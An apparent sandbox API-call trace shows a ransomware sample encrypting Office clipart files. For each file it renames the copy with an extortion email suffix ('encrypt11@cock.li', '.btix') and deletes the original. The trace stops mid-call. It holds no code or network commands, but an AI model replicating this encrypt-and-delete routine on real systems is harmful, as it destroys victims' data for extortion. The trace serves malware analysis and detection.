[0056.829] lstrlenW (lpString=".xls") returned 4 [0056.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.829] lstrlenW (lpString=".xlsx") returned 5 [0056.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.829] lstrlenW (lpString=".ppt") returned 4 [0056.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0056.829] lstrlenW (lpString=".zip") returned 4 [0056.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.829] lstrlenW (lpString=".rar") returned 4 [0056.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.829] lstrlenW (lpString=".bz2") returned 4 [0056.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.829] lstrlenW (lpString=".7z") returned 3 [0056.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0056.829] lstrlenW (lpString=".dbf") returned 4 [0056.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0056.829] lstrlenW (lpString=".1cd") returned 4 [0056.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0056.829] lstrlenW (lpString=".jpg") returned 4 [0056.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.830] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0056.830] lstrlenW (lpString="BL00008_.WMF") returned 12 [0056.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0056.830] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=12520) returned 1 [0056.830] CloseHandle (hObject=0x348) returned 1 [0056.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220 [0056.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0056.830] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.830] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0056.831] GetLastError () returned 0x0 [0056.831] ReadFile (in: hFile=0x348, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x30e8, lpOverlapped=0x0) returned 1 [0057.245] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x30f0, lpOverlapped=0x0) returned 1 [0057.246] ReadFile (in: hFile=0x348, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.246] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0057.246] SetEndOfFile (hFile=0x390) returned 1 [0057.247] CloseHandle (hObject=0x390) returned 1 [0057.318] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.318] SetEndOfFile (hFile=0x348) returned 1 [0057.318] CloseHandle (hObject=0x348) returned 1 [0057.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0057.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0057.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0057.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0057.319] lstrlenW (lpString=".doc") returned 4 [0057.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.319] lstrlenW (lpString=".docx") returned 5 [0057.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.319] lstrlenW (lpString=".pdf") returned 4 [0057.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.319] lstrlenW (lpString=".xls") returned 4 [0057.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.319] lstrlenW (lpString=".xlsx") returned 5 [0057.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.319] lstrlenW (lpString=".ppt") returned 4 [0057.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0057.319] lstrlenW (lpString=".zip") returned 4 [0057.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.320] lstrlenW (lpString=".rar") returned 4 [0057.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.320] lstrlenW (lpString=".bz2") returned 4 [0057.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.320] lstrlenW (lpString=".7z") returned 3 [0057.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0057.320] lstrlenW (lpString=".dbf") returned 4 [0057.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0057.320] lstrlenW (lpString=".1cd") returned 4 [0057.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0057.320] lstrlenW (lpString=".jpg") returned 4 [0057.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0057.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0057.320] lstrlenW (lpString=".doc") returned 4 [0057.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.320] lstrlenW (lpString=".docx") returned 5 [0057.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.320] lstrlenW (lpString=".pdf") returned 4 [0057.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.320] lstrlenW (lpString=".xls") returned 4 [0057.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.320] lstrlenW (lpString=".xlsx") returned 5 [0057.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.320] lstrlenW (lpString=".ppt") returned 4 [0057.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0057.320] lstrlenW (lpString=".zip") returned 4 [0057.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.320] lstrlenW (lpString=".rar") returned 4 [0057.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.320] lstrlenW (lpString=".bz2") returned 4 [0057.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.321] lstrlenW (lpString=".7z") returned 3 [0057.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0057.321] lstrlenW (lpString=".dbf") returned 4 [0057.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0057.321] lstrlenW (lpString=".1cd") returned 4 [0057.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0057.321] lstrlenW (lpString=".jpg") returned 4 [0057.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.321] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0057.321] lstrlenW (lpString="BL00148_.WMF") returned 12 [0057.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0057.322] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=1696) returned 1 [0057.322] CloseHandle (hObject=0x348) returned 1 [0057.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220 [0057.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0057.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0057.322] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.322] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0057.323] GetLastError () returned 0x0 [0057.323] ReadFile (in: hFile=0x348, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x6a0, lpOverlapped=0x0) returned 1 [0057.375] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x6b0, lpOverlapped=0x0) returned 1 [0057.376] ReadFile (in: hFile=0x348, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.376] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0057.376] SetEndOfFile (hFile=0x390) returned 1 [0057.376] CloseHandle (hObject=0x390) returned 1 [0057.377] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.377] SetEndOfFile (hFile=0x348) returned 1 [0057.378] CloseHandle (hObject=0x348) returned 1 [0057.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0057.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0057.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0057.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0057.378] lstrlenW (lpString=".doc") returned 4 [0057.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.378] lstrlenW (lpString=".docx") returned 5 [0057.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.378] lstrlenW (lpString=".pdf") returned 4 [0057.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.378] lstrlenW (lpString=".xls") returned 4 [0057.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.379] lstrlenW (lpString=".xlsx") returned 5 [0057.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.379] lstrlenW (lpString=".ppt") returned 4 [0057.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0057.379] lstrlenW (lpString=".zip") returned 4 [0057.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.379] lstrlenW (lpString=".rar") returned 4 [0057.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.379] lstrlenW (lpString=".bz2") returned 4 [0057.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.379] lstrlenW (lpString=".7z") returned 3 [0057.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0057.379] lstrlenW (lpString=".dbf") returned 4 [0057.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0057.379] lstrlenW (lpString=".1cd") returned 4 [0057.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0057.379] lstrlenW (lpString=".jpg") returned 4 [0057.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0057.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0057.379] lstrlenW (lpString=".doc") returned 4 [0057.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.379] lstrlenW (lpString=".docx") returned 5 [0057.379] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.379] lstrlenW (lpString=".pdf") returned 4 [0057.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.379] lstrlenW (lpString=".xls") returned 4 [0057.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.379] lstrlenW (lpString=".xlsx") returned 5 [0057.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.379] lstrlenW (lpString=".ppt") returned 4 [0057.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0057.380] lstrlenW (lpString=".zip") returned 4 [0057.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.380] lstrlenW (lpString=".rar") returned 4 [0057.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.380] lstrlenW (lpString=".bz2") returned 4 [0057.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.380] lstrlenW (lpString=".7z") returned 3 [0057.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0057.380] lstrlenW (lpString=".dbf") returned 4 [0057.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0057.380] lstrlenW (lpString=".1cd") returned 4 [0057.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0057.380] lstrlenW (lpString=".jpg") returned 4 [0057.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.380] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0057.380] lstrlenW (lpString="BL00152_.WMF") returned 12 [0057.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0057.380] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=1516) returned 1 [0057.380] CloseHandle (hObject=0x348) returned 1 [0057.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220 [0057.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0057.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0057.381] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.381] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0057.381] GetLastError () returned 0x0 [0057.381] ReadFile (in: hFile=0x348, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x5ec, lpOverlapped=0x0) returned 1 [0057.710] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x5f0, lpOverlapped=0x0) returned 1 [0057.711] ReadFile (in: hFile=0x348, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.716] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0057.716] SetEndOfFile (hFile=0x390) returned 1 [0057.717] CloseHandle (hObject=0x390) returned 1 [0057.717] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.717] SetEndOfFile (hFile=0x348) returned 1 [0057.718] CloseHandle (hObject=0x348) returned 1 [0057.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0057.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0057.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0057.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0057.721] lstrlenW (lpString=".doc") returned 4 [0057.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.721] lstrlenW (lpString=".docx") returned 5 [0057.721] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.721] lstrlenW (lpString=".pdf") returned 4 [0057.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.721] lstrlenW (lpString=".xls") returned 4 [0057.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.721] lstrlenW (lpString=".xlsx") returned 5 [0057.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.722] lstrlenW (lpString=".ppt") returned 4 [0057.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0057.722] lstrlenW (lpString=".zip") returned 4 [0057.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.722] lstrlenW (lpString=".rar") returned 4 [0057.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.722] lstrlenW (lpString=".bz2") returned 4 [0057.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.722] lstrlenW (lpString=".7z") returned 3 [0057.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0057.722] lstrlenW (lpString=".dbf") returned 4 [0057.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0057.722] lstrlenW (lpString=".1cd") returned 4 [0057.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0057.722] lstrlenW (lpString=".jpg") returned 4 [0057.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0057.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0057.723] lstrlenW (lpString=".doc") returned 4 [0057.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.723] lstrlenW (lpString=".docx") returned 5 [0057.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.723] lstrlenW (lpString=".pdf") returned 4 [0057.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.723] lstrlenW (lpString=".xls") returned 4 [0057.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.723] lstrlenW (lpString=".xlsx") returned 5 [0057.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.723] lstrlenW (lpString=".ppt") returned 4 [0057.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0057.723] lstrlenW (lpString=".zip") returned 4 [0057.723] lstrcmpiW 